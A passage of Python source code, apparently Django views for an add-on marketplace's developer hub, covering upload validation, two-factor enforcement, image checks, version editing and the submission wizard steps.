django_forms.BooleanField().to_python(\n        request.POST.get('theme_specific')\n    )\n    if (\n        not theme_specific\n        and not is_standalone\n        and not request.session.get('has_two_factor_authentication')\n        and waffle.flag_is_active(\n            request, '2fa-enforcement-for-developers-and-special-users'\n        )\n    ):\n        # This shouldn't happen: it means the user attempted to use the add-on\n        # submission flow that is behind @two_factor_auth_required decorator\n        # but didn't log in with 2FA. Because this view is used to serve an XHR\n        # we return a fake validation error suggesting to enable 2FA instead of\n        # redirecting.\n        next_path = (\n            reverse('devhub.submit.version.upload', args=[addon.slug, channel_as_text])\n            if addon\n            else reverse('devhub.submit.upload', args=[channel_as_text])\n        )\n        url = redirect_for_login_with_2fa_enforced(request, next_path=next_path)[\n            'location'\n        ]\n        results = deepcopy(amo.VALIDATOR_SKELETON_RESULTS)\n        insert_validation_message(\n            results,\n            message=_(\n                'Please add two-factor authentication to your account '\n                'to submit extensions.'\n            ).format(link=absolutify(url)),\n        )\n        return JsonResponse({'validation': results}, status=400)\n\n    try:\n        upload = handle_upload(\n            filedata=filedata,\n            request=request,\n            addon=addon,\n            is_standalone=is_standalone,\n            channel=channel,\n            theme_specific=theme_specific,\n        )\n    except django_forms.ValidationError as exc:\n        # handle_upload() should be firing tasks to do validation. If it raised\n        # a ValidationError, that means we failed before even reaching those\n        # tasks, and need to return an error response immediately.\n        results = deepcopy(amo.VALIDATOR_SKELETON_RESULTS)\n        insert_validation_message(results, message=exc.message)\n        return JsonResponse({'validation': results}, status=400)\n    if addon:\n        return redirect('devhub.upload_detail_for_version', addon.slug, upload.uuid.hex)\n    elif is_standalone:\n        return redirect('devhub.standalone_upload_detail', upload.uuid.hex)\n    else:\n        return redirect('devhub.upload_detail', upload.uuid.hex, 'json')\n\n\n@post_required\n@dev_required\ndef upload_for_version(request, addon_id, addon, channel):\n    return upload(request, channel=channel, addon=addon)\n\n\n@login_required\n@json_view\ndef standalone_upload_detail(request, uuid):\n    upload = get_fileupload_by_uuid_or_40x(uuid, user=request.user)\n    url = reverse('devhub.standalone_upload_detail', args=[uuid])\n    return upload_validation_context(request, upload, url=url)\n\n\n@dev_required(submitting=True)\n@json_view\ndef upload_detail_for_version(request, addon_id, addon, uuid):\n    try:\n        upload = get_fileupload_by_uuid_or_40x(uuid, user=request.user)\n        response = json_upload_detail(request, upload, addon_slug=addon.slug)\n        statsd.incr('devhub.upload_detail_for_addon.success')\n        return response\n    except Exception as exc:\n        statsd.incr('devhub.upload_detail_for_addon.error')\n        log.error(f'Error checking upload status: {type(exc)} {exc}')\n        raise\n\n\n@dev_required(allow_reviewers_for_read=True)\ndef file_validation(request, addon_id, addon, file_id):\n    file_ = get_object_or_404(File, version__addon=addon, id=file_id)\n\n    validate_url = reverse('devhub.json_file_validation', args=[addon.slug, file_.id])\n    file_url = (\n        code_manager_url('browse', addon_id=addon.pk, version_id=file_.version.pk)\n        if acl.is_user_any_kind_of_reviewer(request.user)\n        else None\n    )\n\n    context = {\n        'validate_url': validate_url,\n        'file_url': file_url,\n        'file': file_,\n        'filename': file_.pretty_filename,\n        'timestamp': file_.created,\n        'addon': addon,\n    }\n\n    if file_.has_been_validated:\n        context['validation_data'] = file_.validation.processed_validation\n\n    return TemplateResponse(request, 'devhub/validation.html', context=context)\n\n\n@csrf_exempt\n# This allows read-only access to deleted add-ons for reviewers\n# but not developers.\n@dev_required(allow_reviewers_for_read=True, qs=Addon.unfiltered.all)\ndef json_file_validation(request, addon_id, addon, file_id):\n    file = get_object_or_404(File, version__addon=addon, id=file_id)\n    try:\n        result = file.validation\n    except File.validation.RelatedObjectDoesNotExist:\n        raise http.Http404\n    return JsonResponse(\n        {\n            'validation': result.processed_validation,\n            'error': None,\n        }\n    )\n\n\n@json_view\ndef json_upload_detail(request, upload, addon_slug=None):\n    addon = None\n    if addon_slug:\n        addon = get_object_or_404(Addon.objects, slug=addon_slug)\n    result = upload_validation_context(request, upload, addon=addon)\n    if result['validation']:\n        try:\n            pkg = parse_addon(upload, addon=addon, user=request.user)\n        except django_forms.ValidationError as exc:\n            # Don't add custom validation errors if we already\n            # failed validation (This can happen because validation does\n            # call `parse_addon` too.)\n            if result['validation'].get('errors', 0):\n                return result\n\n            # This doesn't guard against client-side tinkering, and is purely\n            # to display those non-linter errors nicely in the frontend. What\n            # does prevent clients from bypassing those is the fact that we\n            # always call parse_addon() before calling from_upload(), so\n            # ValidationError would be raised before proceeding.\n            for i, msg in enumerate(exc.messages):\n                # Simulate a validation error so the UI displays\n                # it as such\n                result['validation']['messages'].insert(\n                    i,\n                    {\n                        'type': 'error',\n                        # Actual validation messages coming from the linter are\n                        # already escaped because they are coming from\n                        # `processed_validation`, but we need to do that for\n                        # those coming from ValidationError exceptions as well.\n                        'message': escape_all(msg),\n                        'tier': 1,\n                        'fatal': True,\n                    },\n                )\n                if result['validation']['ending_tier'] < 1:\n                    result['validation']['ending_tier'] = 1\n                result['validation']['errors'] += 1\n            return json_view.error(result)\n        else:\n            result['addon_type'] = pkg.get('type', '')\n            result['explicitly_compatible_with_android'] = pkg.get(\n                'explicitly_compatible_with_android', False\n            )\n    return result\n\n\ndef upload_validation_context(request, upload, addon=None, url=None):\n    if not url:\n        if addon:\n            url = reverse(\n                'devhub.upload_detail_for_version', args=[addon.slug, upload.uuid.hex]\n            )\n        else:\n            url = reverse('devhub.upload_detail', args=[upload.uuid.hex, 'json'])\n    full_report_url = reverse('devhub.upload_detail', args=[upload.uuid.hex])\n\n    validation = upload.processed_validation or ''\n\n    return {\n        'upload': upload.uuid.hex,\n        'validation': validation,\n        'error': None,\n        'url': url,\n        'full_report_url': full_report_url,\n    }\n\n\n@login_required\ndef upload_detail(request, uuid, format='html'):\n    upload = get_fileupload_by_uuid_or_40x(uuid, user=request.user)\n\n    if format == 'json':\n        try:\n            response = json_upload_detail(request, upload)\n            statsd.incr('devhub.upload_detail.success')\n            return response\n        except Exception as exc:\n            statsd.incr('devhub.upload_detail.error')\n            log.error(f'Error checking upload status: {type(exc)} {exc}')\n            raise\n\n    validate_url = reverse('devhub.standalone_upload_detail', args=[upload.uuid.hex])\n\n    context = {\n        'validate_url': validate_url,\n        'filename': upload.pretty_name,\n        'timestamp': upload.created,\n    }\n\n    if upload.validation:\n        context['validation_data'] = upload.processed_validation\n\n    return TemplateResponse(request, 'devhub/validation.html', context=context)\n\n\n@dev_required\ndef addons_section(request, addon_id, addon, section, editable=False):\n    show_listed = addon.has_listed_versions()\n    static_theme = addon.type == amo.ADDON_STATICTHEME\n    models = {}\n    content_waffle = waffle.switch_is_active('content-optimization')\n    if show_listed:\n        models.update(\n            {\n                'describe': (\n                    forms.DescribeForm\n                    if not content_waffle\n                    else forms.DescribeFormContentOptimization\n                ),\n                'additional_details': forms.AdditionalDetailsForm,\n                'technical': forms.AddonFormTechnical,\n            }\n        )\n        if not static_theme and addon.status != amo.STATUS_DISABLED:\n            models.update({'media': forms.AddonFormMedia})\n    else:\n        models.update(\n            {\n                'describe': (\n                    forms.DescribeFormUnlisted\n                    if not content_waffle\n                    else forms.DescribeFormUnlistedContentOptimization\n                ),\n                'additional_details': forms.AdditionalDetailsFormUnlisted,\n                'technical': forms.AddonFormTechnicalUnlisted,\n            }\n        )\n\n    if section not in models:\n        raise http.Http404()\n\n    tags, previews = [], []\n    cat_form = dependency_form = whiteboard_form = None\n    whiteboard = None\n\n    if section == 'describe' and show_listed:\n        cat_form = forms.CategoryForm(\n            request.POST if request.method == 'POST' else None,\n            addon=addon,\n            request=request,\n        )\n\n    elif section == 'additional_details':\n        tags = addon.tags.values_list('tag_text', flat=True)\n\n    elif section == 'media':\n        previews = forms.PreviewFormSet(\n            request.POST or None, prefix='files', queryset=addon.previews.all()\n        )\n\n    if section == 'technical':\n        try:\n            whiteboard = Whiteboard.objects.get(pk=addon.pk)\n        except Whiteboard.DoesNotExist:\n            whiteboard = Whiteboard(pk=addon.pk)\n\n        whiteboard_form = PublicWhiteboardForm(\n            request.POST or None, instance=whiteboard, prefix='whiteboard'\n        )\n\n    # Get the slug before the form alters it to the form data.\n    valid_slug = addon.slug\n    if editable:\n        if request.method == 'POST':\n            main_form = models[section](\n                request.POST, request.FILES, instance=addon, request=request\n            )\n\n            if main_form.is_valid() and (not previews or previews.is_valid()):\n                addon = main_form.save(addon)\n\n                if previews:\n                    for preview in previews.forms:\n                        preview.save(addon)\n\n                editable = False\n                if section == 'media':\n                    ActivityLog.objects.create(amo.LOG.CHANGE_MEDIA, addon)\n                else:\n                    ActivityLog.objects.create(amo.LOG.EDIT_PROPERTIES, addon)\n\n                if valid_slug != addon.slug:\n                    ActivityLog.objects.create(\n                        amo.LOG.ADDON_SLUG_CHANGED, addon, valid_slug, addon.slug\n                    )\n                valid_slug = addon.slug\n\n            if cat_form:\n                if cat_form.is_valid():\n                    cat_form.save()\n                else:\n                    editable = True\n            if dependency_form:\n                if dependency_form.is_valid():\n                    dependency_form.save()\n                else:\n                    editable = True\n            if whiteboard_form:\n                if whiteboard_form.is_valid():\n                    whiteboard_form.save()\n                else:\n                    editable = True\n\n        else:\n            main_form = models[section](instance=addon, request=request)\n    else:\n        main_form = False\n\n    data = {\n        'addon': addon,\n        'whiteboard': whiteboard,\n        'show_listed_fields': show_listed,\n        'main_form': main_form,\n        'editable': editable,\n        'tags': tags,\n        'cat_form': cat_form,\n        'preview_form': previews,\n        'dependency_form': dependency_form,\n        'whiteboard_form': whiteboard_form,\n        'valid_slug': valid_slug,\n        'supported_image_types': amo.SUPPORTED_IMAGE_TYPES,\n    }\n\n    return TemplateResponse(\n        request, 'devhub/addons/edit/%s.html' % section, context=data\n    )\n\n\n@never_cache\n@dev_required\n@json_view\ndef image_status(request, addon_id, addon):\n    # Default icon needs no checking.\n    if not addon.icon_type:\n        icons = True\n    else:\n        icons = storage.exists(\n            os.path.join(addon.get_icon_dir(), '%s-32.png' % addon.id)\n        )\n    previews = all(storage.exists(p.thumbnail_path) for p in addon.previews.all())\n    return {'overall': icons and previews, 'icons': icons, 'previews': previews}\n\n\n@dev_required\n@json_view\ndef upload_image(request, addon_id, addon, upload_type):\n    errors = []\n    upload_hash = ''\n    if 'upload_image' in request.FILES:\n        upload_preview = request.FILES['upload_image']\n        upload_preview.seek(0)\n\n        upload_hash = uuid4().hex\n        loc = os.path.join(settings.TMP_PATH, upload_type, upload_hash)\n\n        with storage.open(loc, 'wb') as fd:\n            for chunk in upload_preview:\n                fd.write(chunk)\n\n        is_icon = upload_type == 'icon'\n        is_preview = upload_type == 'preview'\n        image_check = amo_utils.ImageCheck(upload_preview)\n        is_animated = image_check.is_animated()  # will also cache .is_image()\n\n        if (\n            upload_preview.content_type not in amo.IMG_TYPES\n            or not image_check.is_image()\n        ):\n            if is_icon:\n                errors.append(gettext('Icons must be either PNG or JPG.'))\n            else:\n                errors.append(gettext('Images must be either PNG or JPG.'))\n\n        if is_animated:\n            if is_icon:\n                errors.append(gettext('Icons cannot be animated.'))\n            else:\n                errors.append(gettext('Images cannot be animated.'))\n\n        if is_icon:\n            max_size = settings.MAX_ICON_UPLOAD_SIZE\n        else:\n            max_size = settings.MAX_IMAGE_UPLOAD_SIZE\n\n        if upload_preview.size > max_size:\n            errors.append(\n                gettext('Please use images smaller than %dMB.')\n                % (max_size // 1024 // 1024)\n            )\n\n        content_waffle = waffle.switch_is_active('content-optimization')\n        if image_check.is_image() and content_waffle and is_preview:\n            min_size = amo.ADDON_PREVIEW_SIZES.get('min')\n            # * 100 to get a nice integer to compare against rather than 1.3333\n            required_ratio = min_size[0] * 100 // min_size[1]\n            actual_size = image_check.size\n            actual_ratio = actual_size[0] * 100 // actual_size[1]\n            if actual_size[0] < min_size[0] or actual_size[1] < min_size[1]:\n                # L10n: {0} is an image width (in pixels), {1} is a height.\n                errors.append(\n                    gettext(\n                        'Image must be at least {0} pixels wide and {1} pixels tall.'\n                    ).format(min_size[0], min_size[1])\n                )\n            if actual_ratio != required_ratio:\n                errors.append(gettext('Image dimensions must be in the ratio 4:3.'))\n\n        if image_check.is_image() and content_waffle and is_icon:\n            standard_size = amo.ADDON_ICON_SIZES[-1]\n            icon_size = image_check.size\n            if icon_size[0] < standard_size or icon_size[1] < standard_size:\n                # L10n: {0} is an image width/height (in pixels).\n                errors.append(\n                    gettext('Icon must be at least {0} pixels wide and tall.').format(\n                        standard_size\n                    )\n                )\n            if icon_size[0] != icon_size[1]:\n                errors.append(gettext('Icon must be square (same width and height).'))\n\n        if errors and is_preview and os.path.exists(loc):\n            # Delete the temporary preview file in case of error.\n            os.unlink(loc)\n    else:\n        errors.append(gettext('There was an error uploading your preview.'))\n\n    if errors:\n        upload_hash = ''\n\n    return {'upload_hash': upload_hash, 'errors': errors}\n\n\n@dev_required\ndef version_edit(request, addon_id, addon, version_id):\n    version = get_object_or_404(addon.versions.all(), pk=version_id)\n    posting = request.method == 'POST'\n    static_theme = addon.type == amo.ADDON_STATICTHEME\n    version_form = (\n        forms.VersionForm(\n            request.POST or None,\n            request.FILES or None,\n            instance=version,\n        )\n        if not static_theme\n        else None\n    )\n\n    data = {}\n\n    has_source = version_form and version_form['source'].data\n    if version_form:\n        data['version_form'] = version_form\n        if has_source and posting:\n            timer = StopWatch('devhub.views.version_edit.')\n            timer.start()\n            log.info(\n                'version_edit, form populated, addon.slug: %s, version.id: %s',\n                addon.slug,\n                version.id,\n            )\n            timer.log_interval('1.form_populated')\n\n    is_admin = acl.action_allowed_for(request.user, amo.permissions.REVIEWS_ADMIN)\n\n    if not static_theme and addon.can_set_compatibility:\n        qs = version.apps.all().select_related('min', 'max')\n        compat_form = forms.CompatFormSet(\n            request.POST or None, queryset=qs, form_kwargs={'version': version}\n        )\n        data['compat_form'] = compat_form\n\n    if request.method == 'POST' and all([form.is_valid() for form in data.values()]):\n        if has_source:\n            log.info(\n                'version_edit, form validated, addon.slug: %s, version.id: %s',\n                addon.slug,\n                version.id,\n            )\n            timer.log_interval('2.form_validated')\n        if 'compat_form' in data:\n            for compat in data['compat_form'].save(commit=False):\n                if data['compat_form'].has_changed():\n                    compat.originated_from = amo.APPVERSIONS_ORIGINATED_FROM_DEVELOPER\n                    compat.version = version\n                    compat.save()\n\n            for compat in data['compat_form'].deleted_objects:\n                compat.delete()\n\n            for form in data['compat_form'].forms:\n                if isinstance(form, forms.CompatForm) and 'max' in form.changed_data:\n                    _log_max_version_change(addon, version, form.instance)\n\n        if 'version_form' in data:\n            data['version_form'].save()\n            if has_source:\n                log.info(\n                    'version_edit, form saved, addon.slug: %s, version.id: %s',\n                    addon.slug,\n                    version.id,\n                )\n                timer.log_interval('3.form_saved')\n\n            if 'approval_notes' in version_form.changed_data:\n                ActivityLog.objects.create(\n                    amo.LOG.APPROVAL_NOTES_CHANGED, addon, version, request.user\n                )\n\n            if (\n                'source' in version_form.changed_data\n                and version_form.cleaned_data['source']\n            ):\n                version.flag_if_sources_were_provided(request.user)\n\n        messages.success(request, gettext('Changes successfully saved.'))\n        result = redirect('devhub.versions.edit', addon.slug, version_id)\n        if has_source:\n            log.info(\n                'version_edit, redirecting to next view, '\n                + 'addon.slug: %s, version.id: %s',\n                addon.slug,\n                version.id,\n            )\n            timer.log_interval('4.redirecting_to_next_view')\n\n        return result\n\n    data.update(\n        {\n            'addon': addon,\n            'version': version,\n            'is_admin': is_admin,\n            'choices': File.STATUS_CHOICES,\n            'files': (version.file,),\n        }\n    )\n\n    if has_source and posting:\n        log.info(\n            'version_edit, validation failed, re-displaying the template, '\n            + 'addon.slug: %s, version.id: %s',\n            addon.slug,\n            version.id,\n        )\n        timer.log_interval('5.validation_failed_re-displaying_the_template')\n    return TemplateResponse(request, 'devhub/versions/edit.html', context=data)\n\n\ndef _log_max_version_change(addon, version, appversion):\n    details = {\n        'version': version.version,\n        'target': appversion.version.version,\n        'application': appversion.application,\n    }\n    ActivityLog.objects.create(\n        amo.LOG.MAX_APPVERSION_UPDATED, addon, version, details=details\n    )\n\n\n@dev_required\n@post_required\n@transaction.atomic\ndef version_delete(request, addon_id, addon):\n    version_id = request.POST.get('version_id')\n    version = get_object_or_404(addon.versions.all(), pk=version_id)\n    if not version.can_be_disabled_and_deleted():\n        # Developers shouldn't be able to delete/disable the current version\n        # of a promoted approved add-on.\n        group = addon.promoted_group()\n        msg = gettext(\n            'The latest approved version of this %s add-on cannot '\n            'be deleted or disabled because the previous version was not '\n            'approved for %s promotion. '\n            'Please contact AMO Admins if you need help with this.'\n        ) % (group.name, group.name)\n        messages.error(request, msg)\n    elif 'disable_version' in request.POST:\n        messages.success(request, gettext('Version %s disabled.') % version.version)\n        version.is_user_disabled = True  # Will update the files/activity log.\n        version.addon.update_status()\n    else:\n        messages.success(request, gettext('Version %s deleted.') % version.version)\n        version.delete()  # Will also activity log.\n    return redirect(addon.get_dev_url('versions'))\n\n\n@dev_required\n@post_required\n@transaction.atomic\ndef version_reenable(request, addon_id, addon):\n    version_id = request.POST.get('version_id')\n    version = get_object_or_404(addon.versions.all(), pk=version_id)\n    messages.success(request, gettext('Version %s re-enabled.') % version.version)\n    version.is_user_disabled = False  # Will update the files/activity log.\n    version.addon.update_status()\n    return redirect(addon.get_dev_url('versions'))\n\n\ndef check_validation_override(request, form, addon, version):\n    if (\n        version\n        and form.cleaned_data.get('admin_override_validation')\n        and acl.action_allowed_for(request.user, amo.permissions.REVIEWS_ADMIN)\n    ):\n        helper = ReviewHelper(addon=addon, version=version, user=request.user)\n        helper.set_data(\n            {\n                'comments': gettext(\n                    'This upload has failed validation, and may '\n                    'lack complete validation results. Please '\n                    'take due care when reviewing it.'\n                ),\n            }\n        )\n        helper.handler.process_comment()\n        flag = 'auto_approval_disabled_until_next_approval'\n        if version.channel == amo.CHANNEL_UNLISTED:\n            flag = 'auto_approval_disabled_until_next_approval_unlisted'\n        AddonReviewerFlags.objects.update_or_create(addon=addon, defaults={flag: True})\n\n\n@dev_required\ndef version_list(request, addon_id, addon):\n    qs = addon.versions.order_by('-created')\n    versions = amo_utils.paginate(request, qs)\n    is_admin = acl.action_allowed_for(request.user, amo.permissions.REVIEWS_ADMIN)\n\n    data = {\n        'addon': addon,\n        'versions': versions,\n        'session_id': request.session.session_key,\n        'is_admin': is_admin,\n        'comments_maxlength': CommentLog._meta.get_field('comments').max_length,\n    }\n    return TemplateResponse(request, 'devhub/versions/list.html', context=data)\n\n\n@dev_required\ndef version_bounce(request, addon_id, addon, version):\n    # Use filter since there could be dupes.\n    vs = addon.versions.filter(version=version).order_by('-created').first()\n    if vs:\n        return redirect('devhub.versions.edit', addon.slug, vs.id)\n    else:\n        raise http.Http404()\n\n\n@json_view\n@dev_required\ndef version_stats(request, addon_id, addon):\n    qs = addon.versions.all()\n    reviews = qs.annotate(review_count=Count('ratings')).values(\n        'id', 'version', 'review_count'\n    )\n    data = {v['id']: v for v in reviews}\n    for id_ in qs.values_list('id', flat=True):\n        # For backwards compatibility\n        data[id_]['files'] = 1\n        data[id_]['reviews'] = data[id_].pop('review_count')\n    return data\n\n\n@two_factor_auth_required\n@login_required\ndef submit_addon(request):\n    return render_agreement(\n        request=request,\n        template='devhub/addons/submit/start.html',\n        next_step='devhub.submit.distribution',\n    )\n\n\n@login_required\ndef submit_theme(request):\n    return render_agreement(\n        request=request,\n        template='devhub/addons/submit/start.html',\n        next_step='devhub.submit.theme.distribution',\n    )\n\n\n@dev_required\n@two_factor_auth_required_if_non_theme\ndef submit_version_agreement(request, addon_id, addon):\n    return render_agreement(\n        request=request,\n        template='devhub/addons/submit/start.html',\n        next_step=reverse('devhub.submit.version', args=(addon.slug,)),\n        submit_page='version',\n    )\n\n\n@transaction.atomic\ndef _submit_distribution(request, addon, next_view):\n    # Accept GET for the first load so we can preselect the channel, but only\n    # when there is no addon or the add-on is not \"invisible\".\n    if request.method == 'POST':\n        data = request.POST\n    elif 'channel' in request.GET and (not addon or not addon.disabled_by_user):\n        data = request.GET\n    else:\n        data = None\n    form = forms.DistributionChoiceForm(data, addon=addon)\n\n    if request.method == 'POST' and form.is_valid():\n        data = form.cleaned_data\n        args = [addon.slug] if addon else []\n        args.append(data['channel'])\n        return redirect(next_view, *args)\n    return TemplateResponse(\n        request,\n        'devhub/addons/submit/distribute.html',\n        context={\n            'addon': addon,\n            'distribution_form': form,\n            'submit_notification_warning': get_config('submit_notification_warning'),\n            'submit_page': 'version' if addon else 'addon',\n        },\n    )\n\n\n@two_factor_auth_required\n@login_required\ndef submit_addon_distribution(request):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.agreement')\n    return _submit_distribution(request, None, 'devhub.submit.upload')\n\n\n@login_required\ndef submit_theme_distribution(request):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.theme.agreement')\n    return _submit_distribution(request, None, 'devhub.submit.theme.upload')\n\n\n@dev_required(submitting=True)\n@two_factor_auth_required_if_non_theme\ndef submit_version_distribution(request, addon_id, addon):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.version.agreement', addon.slug)\n    return _submit_distribution(request, addon, 'devhub.submit.version.upload')\n\n\nWIZARD_COLOR_FIELDS = [\n    (\n        'frame',\n        _('Header area background'),\n        _(\n            'The color of the header area background, displayed in the part of '\n            'the header not covered or visible through the header image. Manifest '\n            'field:  frame.'\n        ),\n        'rgba(229,230,232,1)',\n    ),\n    (\n        'tab_background_text',\n        _('Header area text and icons'),\n        _(\n            'The color of the text and icons in the header area, except the '\n            'active tab. Manifest field:  tab_background_text.'\n        ),\n        'rgba(0,0,0,1)',\n    ),\n    (\n        'toolbar',\n        _('Toolbar area background'),\n        _(\n            'The background color for the navigation bar, the bookmarks bar, and '\n            'the active tab.  Manifest field:  toolbar.'\n        ),\n        False,\n    ),\n    (\n        'bookmark_text',\n        _('Toolbar area text and icons'),\n        _(\n            'The color of the text and icons in the toolbar and the active tab. '\n            'Manifest field:  bookmark_text.'\n        ),\n        False,\n    ),\n    (\n        'toolbar_field',\n        _('Toolbar field area background'),\n        _(\n            'The background color for fields in the toolbar, such as the URL bar. '\n            'Manifest field:  toolbar_field.'\n        ),\n        False,\n    ),\n    (\n        'toolbar_field_text',\n        _('Toolbar field area text'),\n        _(\n            'The color of text in fields in the toolbar, such as the URL bar. '\n            'Manifest field:  toolbar_field_text.'\n        ),\n        False,\n    ),\n    ('', '', '', False),  # empty field\n    (\n        'tab_line',\n        _('Tab highlight'),\n        _(\n            'The highlight color of the active tab. Implemented as a border around the '\n            'tab on Firefox 89+ and a line above the tab on older Firefoxes. '\n            'Manifest field:  tab_line.'\n        ),\n        False,\n    ),\n]\n\n\n@transaction.atomic\ndef _submit_upload(\n    request, addon, channel, next_view, wizard=False, theme_specific=False\n):\n    \"\"\"If this is a new addon upload `addon` will be None.\n\n    next_view is the view that will be redirected to.\n    \"\"\"\n    if addon and addon.disabled_by_user and channel == amo.CHANNEL_LISTED:\n        # Listed versions can not be submitted while the add-on is set to\n        # \"invisible\" (disabled_by_user).\n        return redirect('devhub.submit.version.distribution', addon.slug)\n    form = forms.NewUploadForm(\n        request.POST or None, request.FILES or None, addon=addon, request=request\n    )\n    form.fields['theme_specific'].initial = theme_specific\n    channel_text = amo.CHANNEL_CHOICES_API[channel]\n    if request.method == 'POST' and form.is_valid():\n        data = form.cleaned_data\n\n        if addon:\n            version = Version.from_upload(\n                upload=data['upload'],\n                addon=addon,\n                channel=channel,\n                selected_apps=data['compatible_apps'],\n                parsed_data=data['parsed_data'],\n            )\n            url_args = [addon.slug, version.id]\n            statsd.incr(f'devhub.submission.version.{channel_text}')\n        else:\n            addon = Addon.from_upload(\n                upload=data['upload'],\n                channel=channel,\n                selected_apps=data['compatible_apps'],\n                parsed_data=data['parsed_data'],\n            )\n            version = addon.find_latest_version(channel=channel)\n            url_args = [addon.slug, channel_text]\n            statsd.incr(f'devhub.submission.addon.{channel_text}')\n\n        check_validation_override(request, form, addon, version)\n        addon.update_status()\n        return redirect(next_view, *url_args)\n    is_admin = acl.action_allowed_for(request.user, amo.permissions.REVIEWS_ADMIN)\n    if addon:\n        channel_choice_text = (\n            forms.DistributionChoiceForm().LISTED_LABEL\n            if channel == amo.CHANNEL_LISTED\n            else forms.DistributionChoiceForm().UNLISTED_LABEL\n        )\n    else:\n        channel_choice_text = ''  # We only need this for Version upload.\n\n    submit_page = 'version' if addon else 'addon'\n    template = (\n        'devhub/addons/submit/upload.html'\n        if not wizard\n        else 'devhub/addons/submit/wizard.html'\n    )\n    existing_properties = (\n        extract_theme_properties(addon, channel) if wizard and addon else {}\n    )\n    unsupported_properties = (\n        wizard_unsupported_properties(\n            existing_properties,\n            [field for field, _, _, _ in WIZARD_COLOR_FIELDS if field],\n        )\n        if existing_properties\n        else []\n    )\n    submit_notification_warning = get_config('submit_notification_warning')\n    if not submit_notification_warning and addon:\n        # If we're not showing the generic submit notification warning, show\n        # one specific to pre review if the developer would be affected because\n        # of its promoted group.\n        promoted_group = addon.promoted_group(currently_approved=False)\n        if (channel == amo.CHANNEL_LISTED and promoted_group.listed_pre_review) or (\n            channel == amo.CHANNEL_UNLISTED and promoted_group.unlisted_pre_review\n        ):\n            submit_notification_warning = get_config(\n                'submit_notification_warning_pre_review'\n            )\n    if addon and addon.type == amo.ADDON_STATICTHEME:\n        wizard_url = reverse(\n            'devhub.submit.version.wizard', args=[addon.slug, channel_text]\n        )\n    elif not addon and theme_specific:\n        wizard_url = reverse('devhub.submit.wizard', args=[channel_text])\n    else:\n        wizard_url = None\n    return TemplateResponse(\n        request,\n        template,\n        context={\n            'addon': addon,\n            'channel': channel,\n            'channel_choice_text': channel_choice_text,\n            'colors': WIZARD_COLOR_FIELDS,\n            'existing_properties': existing_properties,\n            'is_admin': is_admin,\n            'new_addon_form': form,\n            'submit_notification_warning': submit_notification_warning,\n            'submit_page': submit_page,\n            'theme_specific': theme_specific,\n            'unsupported_properties': unsupported_properties,\n            'version_number': get_next_version_number(addon) if wizard else None,\n            'wizard_url': wizard_url,\n        },\n    )\n\n\n@two_factor_auth_required\n@login_required\ndef submit_addon_upload(request, channel):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.agreement')\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    return _submit_upload(request, None, channel_id, 'devhub.submit.source')\n\n\n@login_required\ndef submit_theme_upload(request, channel):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.theme.agreement')\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    return _submit_upload(\n        request, None, channel_id, 'devhub.submit.source', theme_specific=True\n    )\n\n\n@dev_required(submitting=True)\n@two_factor_auth_required_if_non_theme\n@no_admin_disabled\ndef submit_version_upload(request, addon_id, addon, channel):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.version.agreement', addon.slug)\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    return _submit_upload(request, addon, channel_id, 'devhub.submit.version.source')\n\n\n@dev_required(submitting=True)\n@two_factor_auth_required_if_non_theme\n@no_admin_disabled\ndef submit_version_auto(request, addon_id, addon):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.version.agreement', addon.slug)\n    # Choose the channel we need from the last upload, unless that channel\n    # would be listed and addon is set to \"Invisible\".\n    last_version = addon.find_latest_version(None, exclude=())\n    if not last_version or (\n        last_version.channel == amo.CHANNEL_LISTED and addon.disabled_by_user\n    ):\n        return redirect('devhub.submit.version.distribution', addon.slug)\n    channel = last_version.channel\n    return _submit_upload(request, addon, channel, 'devhub.submit.version.source')\n\n\n@login_required\ndef submit_addon_theme_wizard(request, channel):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.agreement')\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    return _submit_upload(\n        request, None, channel_id, 'devhub.submit.source', wizard=True\n    )\n\n\n@dev_required\n@no_admin_disabled\ndef submit_version_theme_wizard(request, addon_id, addon, channel):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect('devhub.submit.version.agreement', addon.slug)\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    return _submit_upload(\n        request, addon, channel_id, 'devhub.submit.version.source', wizard=True\n    )\n\n\ndef _submit_source(request, addon, version, submit_page, next_view):\n    posting = request.method == 'POST'\n    redirect_args = (\n        [addon.slug, version.pk]\n        if version and submit_page == 'version'\n        else [addon.slug]\n    )\n    if addon.type != amo.ADDON_EXTENSION:\n        return redirect(next_view, *redirect_args)\n    source_form = forms.SourceForm(\n        request.POST or None,\n        request.FILES or None,\n        instance=version,\n        request=request,\n    )\n    has_source = source_form.data.get('has_source') == 'yes'\n    if has_source and posting:\n        timer = StopWatch('devhub.views._submit_source.')\n        timer.start()\n        log.info(\n            '_submit_source, form populated, addon.slug: %s, version.pk: %s',\n            addon.slug,\n            version.pk,\n        )\n        timer.log_interval('1.form_populated')\n\n    if request.method == 'POST' and source_form.is_valid():\n        if has_source:\n            log.info(\n                '_submit_source, form validated, addon.slug: %s, version.pk: %s',\n                addon.slug,\n                version.pk,\n            )\n            timer.log_interval('2.form_validated')\n        if source_form.cleaned_data.get('source'):\n            source_form.save()\n            version.flag_if_sources_were_provided(request.user)\n            log.info(\n                '_submit_source, form saved, addon.slug: %s, version.pk: %s',\n                addon.slug,\n                version.pk,\n            )\n            timer.log_interval('3.form_saved')\n\n        result = redirect(next_view, *redirect_args)\n        if has_source:\n            log.info(\n                '_submit_source, redirecting to next view, '\n                + 'addon.slug: %s, version.pk: %s',\n                addon.slug,\n                version.pk,\n            )\n            timer.log_interval('4.redirecting_to_next_view')\n        return result\n    context = {\n        'source_form': source_form,\n        'addon': addon,\n        'version': version,\n        'submit_page': 